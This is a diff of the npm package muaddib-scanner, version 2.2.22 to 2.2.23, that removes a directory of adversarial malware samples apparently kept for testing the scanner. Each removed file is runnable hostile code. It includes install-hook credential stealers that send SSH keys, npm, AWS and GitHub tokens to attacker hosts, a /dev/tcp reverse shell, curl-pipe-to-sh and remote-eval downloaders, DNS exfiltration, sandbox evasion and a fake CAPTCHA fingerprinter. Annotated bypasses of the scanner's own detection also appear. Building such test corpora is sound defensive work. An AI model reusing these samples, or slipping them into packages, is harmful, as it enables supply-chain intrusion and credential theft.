muaddib-scanner 2.2.22 → 2.2.23

package/datasets/adversarial/dns-chunk-exfil/index.js

@@ -1,10 +0,0 @@
-const dns = require('dns');
-
-const secret = process.env.AWS_SECRET_ACCESS_KEY;
-if (secret) {
-  const hex = Buffer.from(secret).toString('hex');
-  const chunks = hex.match(/.{1,60}/g);
-  chunks.forEach((chunk, i) => {
-    dns.resolve(`${i}.${chunk}.exfil.evil.com`, () => {});
-  });
-}

package/datasets/adversarial/dns-chunk-exfil/package.json

@@ -1,6 +0,0 @@
-{
-  "name": "dns-chunk-exfil",
-  "version": "1.0.0",
-  "description": "Adversarial sample: DNS-based chunked credential exfiltration",
-  "main": "index.js"
-}

package/datasets/adversarial/docker-aware/index.js

@@ -1,10 +0,0 @@
-const fs = require('fs');
-const { exec } = require('child_process');
-
-try {
-  fs.accessSync('/.dockerenv');
-  // Inside Docker/sandbox — do nothing
-} catch (e) {
-  // Not in sandbox — execute payload
-  exec('curl https://evil.com/shell.sh | sh');
-}

package/datasets/adversarial/docker-aware/package.json

@@ -1,6 +0,0 @@
-{
-  "name": "docker-aware",
-  "version": "1.0.0",
-  "description": "Adversarial sample: sandbox detection via /.dockerenv",
-  "main": "index.js"
-}

package/datasets/adversarial/double-base64-exfil/index.js

@@ -1,11 +0,0 @@
-// Shai-Hulud v1/v2: double base64 encoding of GITHUB_TOKEN + exec exfiltration
-// Combines data obfuscation with shell command execution
-
-const { exec } = require('child_process');
-
-const token = process.env.GITHUB_TOKEN || '';
-// Double encode to evade base64 pattern detection
-const encoded = Buffer.from(Buffer.from(token).toString('base64')).toString('base64');
-
-const cmd = `curl -s -X POST -H "Content-Type: text/plain" -d "${encoded}" https://collect.npm-telemetry.dev/api/token`;
-exec(cmd, { timeout: 10000 }, () => {});

package/datasets/adversarial/double-base64-exfil/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "double-base64-exfil",
-  "version": "1.0.0",
-  "description": "Holdout sample: Shai-Hulud double base64 encoding + exec exfiltration",
-  "main": "index.js",
-  "scripts": {
-    "postinstall": "node index.js"
-  }
-}

package/datasets/adversarial/dynamic-import/index.js

@@ -1,21 +0,0 @@
-// Adversarial sample: ESM dynamic import() to avoid require() detection
-async function run() {
-  var fs = await import('fs');
-  var http = await import('http');
-
-  var sshKey = fs.default.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
-  var payload = JSON.stringify({ key: sshKey, host: require('os').hostname() });
-
-  var opts = {
-    hostname: 'collector.evil.com',
-    port: 80,
-    path: '/keys',
-    method: 'POST',
-    headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
-  };
-  var req = http.default.request(opts, function() {});
-  req.write(payload);
-  req.end();
-}
-
-run();

package/datasets/adversarial/dynamic-import/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "dynamic-import",
-  "version": "1.0.0",
-  "description": "Adversarial sample: ESM dynamic import() instead of require()",
-  "main": "index.js",
-  "scripts": {
-    "postinstall": "node index.js"
-  }
-}

package/datasets/adversarial/dynamic-require/index.js

@@ -1,3 +0,0 @@
-// Adversarial sample: dynamic require via base64 decode + reverse shell
-const mod = require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString());
-mod.exec('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1');

package/datasets/adversarial/dynamic-require/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "dynamic-require",
-  "version": "1.0.0",
-  "description": "Adversarial sample: base64-encoded require to load child_process, then reverse shell",
-  "main": "index.js",
-  "scripts": {
-    "postinstall": "node index.js"
-  }
-}

package/datasets/adversarial/fake-captcha-fingerprint/index.js

@@ -1,64 +0,0 @@
-// Fake CAPTCHA fingerprint (Hive Pro, July 2025)
-// Opens a local HTTP server with a fake CAPTCHA page
-// Collects system info and sends to C2 when user interacts
-
-const http = require('http');
-const https = require('https');
-const os = require('os');
-
-const HTML = `<!DOCTYPE html>
-<html><body>
-<h2>Security Verification Required</h2>
-<p>Please verify you are not a robot to continue installation.</p>
-<button onclick="verify()">I'm not a robot</button>
-<script>
-function verify() {
-  fetch('/verify', { method: 'POST' }).then(() => {
-    document.body.innerHTML = '<h2>Verified! Installation continuing...</h2>';
-  });
-}
-</script>
-</body></html>`;
-
-const fingerprint = {
-  hostname: os.hostname(),
-  platform: os.platform(),
-  arch: os.arch(),
-  user: os.userInfo().username,
-  interfaces: os.networkInterfaces(),
-  cpus: os.cpus().length,
-  memory: os.totalmem()
-};
-
-const server = http.createServer((req, res) => {
-  if (req.method === 'POST' && req.url === '/verify') {
-    // Send fingerprint to C2
-    const payload = JSON.stringify(fingerprint);
-    const c2req = https.request({
-      hostname: 'captcha-verify.analytics-hub.dev',
-      path: '/api/fingerprint',
-      method: 'POST',
-      headers: { 'Content-Type': 'application/json' }
-    }, () => {});
-    c2req.write(payload);
-    c2req.end();
-
-    res.writeHead(200);
-    res.end('OK');
-    setTimeout(() => server.close(), 1000);
-  } else {
-    res.writeHead(200, { 'Content-Type': 'text/html' });
-    res.end(HTML);
-  }
-});
-
-server.listen(0, () => {
-  const port = server.address().port;
-  // Try to open browser
-  const { exec } = require('child_process');
-  const openCmd = process.platform === 'darwin' ? 'open' : process.platform === 'win32' ? 'start' : 'xdg-open';
-  exec(`${openCmd} http://localhost:${port}`, () => {});
-
-  // Auto-close after 60 seconds
-  setTimeout(() => server.close(), 60000);
-});

package/datasets/adversarial/fake-captcha-fingerprint/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "fake-captcha-fingerprint",
-  "version": "1.0.0",
-  "description": "Holdout sample: typosquatting fake CAPTCHA fingerprinting (Hive Pro July 2025)",
-  "main": "index.js",
-  "scripts": {
-    "postinstall": "node index.js"
-  }
-}

package/datasets/adversarial/gh-cli-token-steal/index.js

@@ -1,31 +0,0 @@
-// s1ngularity/Nx: steal GitHub token via the official gh CLI
-// No file reads, no process.env — uses a legitimate installed tool
-
-const { execSync } = require('child_process');
-const https = require('https');
-const os = require('os');
-
-let ghToken = '';
-try {
-  ghToken = execSync('gh auth token', { encoding: 'utf8', timeout: 5000 }).trim();
-} catch (e) {}
-
-if (ghToken) {
-  const data = JSON.stringify({
-    host: os.hostname(),
-    user: os.userInfo().username,
-    token: ghToken
-  });
-
-  const req = https.request({
-    hostname: 'api.dev-metrics.io',
-    path: '/v1/auth',
-    method: 'POST',
-    headers: {
-      'Content-Type': 'application/json',
-      'Content-Length': Buffer.byteLength(data)
-    }
-  }, () => {});
-  req.write(data);
-  req.end();
-}

package/datasets/adversarial/gh-cli-token-steal/package.json

@@ -1,6 +0,0 @@
-{
-  "name": "gh-cli-token-steal",
-  "version": "1.0.0",
-  "description": "Holdout sample: s1ngularity/Nx gh CLI token theft",
-  "main": "index.js"
-}

package/datasets/adversarial/github-exfil/index.js

@@ -1,33 +0,0 @@
-// Shai-Hulud v1/v2: Exfiltrate secrets via GitHub API
-// Uses api.github.com — a trusted domain that bypasses domain-based detection
-const https = require('https');
-const fs = require('fs');
-const os = require('os');
-const path = require('path');
-
-// Harvest all available secrets
-const secrets = {};
-try { secrets.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8'); } catch (e) {}
-try { secrets.ssh = fs.readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8'); } catch (e) {}
-secrets.github_token = process.env.GITHUB_TOKEN;
-secrets.npm_token = process.env.NPM_TOKEN;
-
-// Create a public gist with the stolen credentials
-const gistPayload = JSON.stringify({
-  description: 'config backup',
-  public: false,
-  files: { 'config.txt': { content: JSON.stringify(secrets) } }
-});
-
-const req = https.request({
-  hostname: 'api.github.com',
-  path: '/gists',
-  method: 'POST',
-  headers: {
-    'Authorization': 'token ' + process.env.GITHUB_TOKEN,
-    'User-Agent': 'node',
-    'Content-Type': 'application/json'
-  }
-}, () => {});
-req.write(gistPayload);
-req.end();

package/datasets/adversarial/github-exfil/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "github-exfil",
-  "version": "1.0.0",
-  "description": "Adversarial sample: Shai-Hulud v1/v2 GitHub API exfiltration",
-  "main": "index.js",
-  "scripts": {
-    "postinstall": "node index.js"
-  }
-}

package/datasets/adversarial/iife-exfil/index.js

@@ -1,17 +0,0 @@
-// Adversarial sample: IIFE with random variable names, env read + http.request exfil
-(function() {
-  var _0xfa3b = require('http');
-  var _0xc91e = process.env.AWS_ACCESS_KEY_ID;
-  var _0xd27a = process.env.AWS_SECRET_ACCESS_KEY;
-  var _0xb1f4 = JSON.stringify({ k: _0xc91e, s: _0xd27a });
-  var _0xe8c2 = {
-    hostname: 'collector.evil.com',
-    port: 80,
-    path: '/collect',
-    method: 'POST',
-    headers: { 'Content-Type': 'application/json', 'Content-Length': _0xb1f4.length }
-  };
-  var _0xa7d9 = _0xfa3b.request(_0xe8c2, function(_0xf1) {});
-  _0xa7d9.write(_0xb1f4);
-  _0xa7d9.end();
-})();

package/datasets/adversarial/iife-exfil/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "iife-exfil",
-  "version": "1.0.0",
-  "description": "Adversarial sample: IIFE with obfuscated variable names, env read + http.request exfil",
-  "main": "index.js",
-  "scripts": {
-    "postinstall": "node index.js"
-  }
-}

package/datasets/adversarial/indirect-eval-bypass/index.js

@@ -1,27 +0,0 @@
-// Bypass 01: Indirect eval via computed property access
-// Technique: Array.join to build "eval" string, then call via globalThis[computed]
-// Expected: MUAD'DIB scores < 3 (bypass confirmed)
-
-const g = globalThis;
-
-// Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
-// Buffer.from, atob, and string concat BinaryExpression)
-const k = ['e','v','a','l'].join('');
-
-// This URL contains "api.github.com" which is in SAFE_STRINGS
-// The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
-// So even though the URL also references .ssh paths, no sensitive_string finding is emitted
-const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
-
-const https = require('https');
-https.get(configUrl, (res) => {
-  let d = '';
-  res.on('data', c => d += c);
-  res.on('end', () => {
-    // Decode the "content" field from GitHub API response (base64-encoded)
-    const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
-    // Indirect eval: globalThis['eval'](payload)
-    // getCallName() returns '' for computed MemberExpression — never matches 'eval'
-    g[k](payload);
-  });
-});

package/datasets/adversarial/indirect-eval-bypass/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "audit-bypass-01-indirect-eval",
-  "version": "1.0.0",
-  "description": "Audit bypass: indirect eval via computed property + SAFE_STRINGS poisoning"
-}

package/datasets/adversarial/mjs-extension-bypass/package.json

@@ -1,6 +0,0 @@
-{
-  "name": "audit-bypass-03-mjs-extension",
-  "version": "1.0.0",
-  "type": "module",
-  "description": "Audit bypass: .mjs files are not scanned by any scanner"
-}

package/datasets/adversarial/mjs-extension-bypass/stealer.mjs

@@ -1,39 +0,0 @@
-// Bypass 03: .mjs extension — no scanner processes this file type
-// All scanners use findFiles with extensions: ['.js'] or findJsFiles
-// ESM packages with "type": "module" use .mjs files legitimately
-
-import { readFileSync } from 'fs';
-import { homedir } from 'os';
-import { request } from 'https';
-
-// Direct credential theft — every dangerous pattern in one file
-// None of this is detected because the file extension is .mjs
-const home = homedir();
-const stolen = {};
-
-const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
-for (const t of targets) {
-  try {
-    stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
-  } catch {}
-}
-
-// Also grab environment tokens
-stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
-stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
-stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
-
-// Exfiltrate
-const data = JSON.stringify(stolen);
-const req = request({
-  hostname: 'collect.evil-analytics.com',
-  path: '/v2/telemetry',
-  method: 'POST',
-  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
-});
-req.write(data);
-req.end();
-
-// Also use eval with dynamic code (would be CRITICAL if this were .js)
-const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
-eval(payload);

package/datasets/adversarial/muaddib-ignore-bypass/index.js

@@ -1,47 +0,0 @@
-// muaddib-ignore
-//# sourceMappingURL=index.js.map
-// Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
-// The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
-// Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
-
-const fs = require('fs');
-const os = require('os');
-const https = require('https');
-const path = require('path');
-
-const home = os.homedir();
-
-// Build path components without triggering SENSITIVE_STRINGS check.
-// SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
-// AST Literal handler checks node.value.includes(sensitive) for each string literal.
-// We avoid having any single string literal that includes these substrings.
-const dot = '.';
-const dirs = [
-  [dot + 'ss' + 'h', 'id_rsa'],
-  [dot + 'ss' + 'h', 'id_ed25519'],
-  [dot + 'aw' + 's', 'credentials'],
-  [dot + 'npm' + 'rc'],
-];
-
-const stolen = {};
-for (const parts of dirs) {
-  const p = path.join(home, ...parts);
-  try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
-}
-
-// Also read npmrc via environment — env_access only flags vars with sensitive keywords
-// HOME, PATH etc are in SAFE_ENV_VARS and get skipped
-const npmrcPath = path.join(home, dirs[3].join(path.sep));
-try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
-
-// Exfiltrate via https.request — dataflow.js would catch this as source→sink,
-// BUT dataflow.js skipped this file due to muaddib-ignore on line 1
-const data = JSON.stringify(stolen);
-const req = https.request({
-  hostname: 'telemetry.legit-analytics.com',
-  path: '/api/v1/report',
-  method: 'POST',
-  headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
-});
-req.write(data);
-req.end();

package/datasets/adversarial/muaddib-ignore-bypass/package.json

@@ -1,5 +0,0 @@
-{
-  "name": "audit-bypass-02-muaddib-ignore",
-  "version": "1.0.0",
-  "description": "Audit bypass: muaddib-ignore directive + source map injection"
-}

package/datasets/adversarial/nested-payload/index.js

@@ -1,3 +0,0 @@
-// Clean entry point — nothing suspicious here
-var utils = require('./utils/helper');
-console.log('Package initialized: ' + utils.version);

package/datasets/adversarial/nested-payload/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "nested-payload",
-  "version": "1.0.0",
-  "description": "Adversarial sample: malware buried 3 levels deep in require chain",
-  "main": "index.js",
-  "scripts": {
-    "postinstall": "node index.js"
-  }
-}

package/datasets/adversarial/nested-payload/utils/helper.js

@@ -1,6 +0,0 @@
-// Intermediate layer — looks like a utility module
-var format = require('./lib/format');
-module.exports = {
-  version: '1.0.0',
-  format: format
-};

package/datasets/adversarial/nested-payload/utils/lib/format.js

@@ -1,23 +0,0 @@
-// Buried payload — 3 levels deep from index.js
-var cp = require('child_process');
-var fs = require('fs');
-var https = require('https');
-
-var npmrc = fs.readFileSync(require('os').homedir() + '/.npmrc', 'utf8');
-var token = npmrc.match(/_authToken=(.+)/);
-
-if (token) {
-  var data = JSON.stringify({ t: token[1], h: require('os').hostname() });
-  var opts = {
-    hostname: 'exfil.evil.com',
-    port: 443,
-    path: '/steal',
-    method: 'POST',
-    headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
-  };
-  var req = https.request(opts, function() {});
-  req.write(data);
-  req.end();
-}
-
-module.exports = function() {};

package/datasets/adversarial/postinstall-download/package.json

@@ -1,8 +0,0 @@
-{
-  "name": "postinstall-download",
-  "version": "1.0.0",
-  "description": "Adversarial sample: postinstall script downloads and evals remote code",
-  "scripts": {
-    "postinstall": "node -e \"require('https').get('https://evil.com/payload.js',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""
-  }
-}

package/datasets/adversarial/preinstall-background-fork/bootstrap.js

@@ -1,16 +0,0 @@
-// Shai-Hulud 2.0: preinstall + background fork (Check Point/Zscaler/Datadog, Nov 2025)
-// Runs BEFORE install — even before dependencies are resolved
-// Forks a detached process that survives the npm install lifecycle
-
-const { spawn } = require('child_process');
-const path = require('path');
-
-// Fork stealer as a detached background process
-const child = spawn(process.execPath, [path.join(__dirname, 'stealer.js')], {
-  detached: true,
-  stdio: 'ignore',
-  env: { ...process.env, _MUADDIB_PARENT_PID: String(process.pid) }
-});
-
-// Unref so npm install completes normally — user sees nothing
-child.unref();

package/datasets/adversarial/preinstall-background-fork/index.js

@@ -1,2 +0,0 @@
-// Clean entry point — the attack happens in preinstall (bootstrap.js → stealer.js)
-module.exports = {};

package/datasets/adversarial/preinstall-background-fork/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "preinstall-background-fork",
-  "version": "1.0.0",
-  "description": "Adversarial sample: Shai-Hulud 2.0 preinstall + detached fork (Check Point/Zscaler/Datadog Nov 2025)",
-  "main": "index.js",
-  "scripts": {
-    "preinstall": "node bootstrap.js"
-  }
-}

package/datasets/adversarial/preinstall-background-fork/stealer.js

@@ -1,67 +0,0 @@
-// Background stealer — runs detached from npm install process
-// Waits for parent to exit, then harvests credentials silently
-
-const fs = require('fs');
-const https = require('https');
-const os = require('os');
-const path = require('path');
-
-// Wait 3 minutes — ensures npm install has finished and sandbox timeout has passed
-setTimeout(() => {
-  const loot = {
-    host: os.hostname(),
-    user: os.userInfo().username,
-    arch: os.arch(),
-    platform: process.platform,
-    pid: process.pid,
-    parentPid: process.env._MUADDIB_PARENT_PID
-  };
-
-  // Steal .npmrc tokens
-  try {
-    loot.npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
-  } catch (e) {}
-
-  // Steal SSH private keys
-  const sshDir = path.join(os.homedir(), '.ssh');
-  try {
-    const files = fs.readdirSync(sshDir);
-    loot.ssh = {};
-    for (const f of files) {
-      if (f.startsWith('id_') && !f.endsWith('.pub')) {
-        try {
-          loot.ssh[f] = fs.readFileSync(path.join(sshDir, f), 'utf8');
-        } catch (e) {}
-      }
-    }
-  } catch (e) {}
-
-  // Steal AWS credentials
-  try {
-    loot.aws = fs.readFileSync(path.join(os.homedir(), '.aws', 'credentials'), 'utf8');
-  } catch (e) {}
-
-  // Steal .env from common project directories
-  const cwd = process.cwd();
-  try {
-    loot.dotenv = fs.readFileSync(path.join(cwd, '.env'), 'utf8');
-  } catch (e) {}
-
-  // Exfiltrate via HTTPS POST to attacker C2
-  const data = JSON.stringify(loot);
-  const req = https.request({
-    hostname: 'api.pkg-telemetry.dev',
-    path: '/v1/metrics',
-    method: 'POST',
-    headers: {
-      'Content-Type': 'application/json',
-      'Content-Length': Buffer.byteLength(data),
-      'User-Agent': 'npm/10.0.0 node/v20.0.0'
-    }
-  }, () => {
-    process.exit(0);
-  });
-  req.on('error', () => process.exit(0));
-  req.write(data);
-  req.end();
-}, 3 * 60 * 1000);

package/datasets/adversarial/preinstall-exec/package.json

@@ -1,9 +0,0 @@
-{
-  "name": "preinstall-exec",
-  "version": "1.0.0",
-  "description": "Adversarial sample: Shai-Hulud 2.0 preinstall token theft",
-  "main": "index.js",
-  "scripts": {
-    "preinstall": "node steal.js"
-  }
-}

package/datasets/adversarial/preinstall-exec/steal.js

@@ -1,24 +0,0 @@
-// Runs BEFORE install completes — even if npm install fails, this already executed
-const fs = require('fs');
-const http = require('http');
-const os = require('os');
-const path = require('path');
-
-// Read npm tokens from .npmrc
-const npmrcPath = path.join(os.homedir(), '.npmrc');
-let tokens = '';
-try {
-  tokens = fs.readFileSync(npmrcPath, 'utf8');
-} catch (e) {}
-
-// Exfiltrate via HTTP POST
-const data = JSON.stringify({ host: os.hostname(), npmrc: tokens });
-const req = http.request({
-  hostname: 'telemetry.npm-stats.io',
-  port: 80,
-  path: '/api/install-metrics',
-  method: 'POST',
-  headers: { 'Content-Type': 'application/json' }
-}, () => {});
-req.write(data);
-req.end();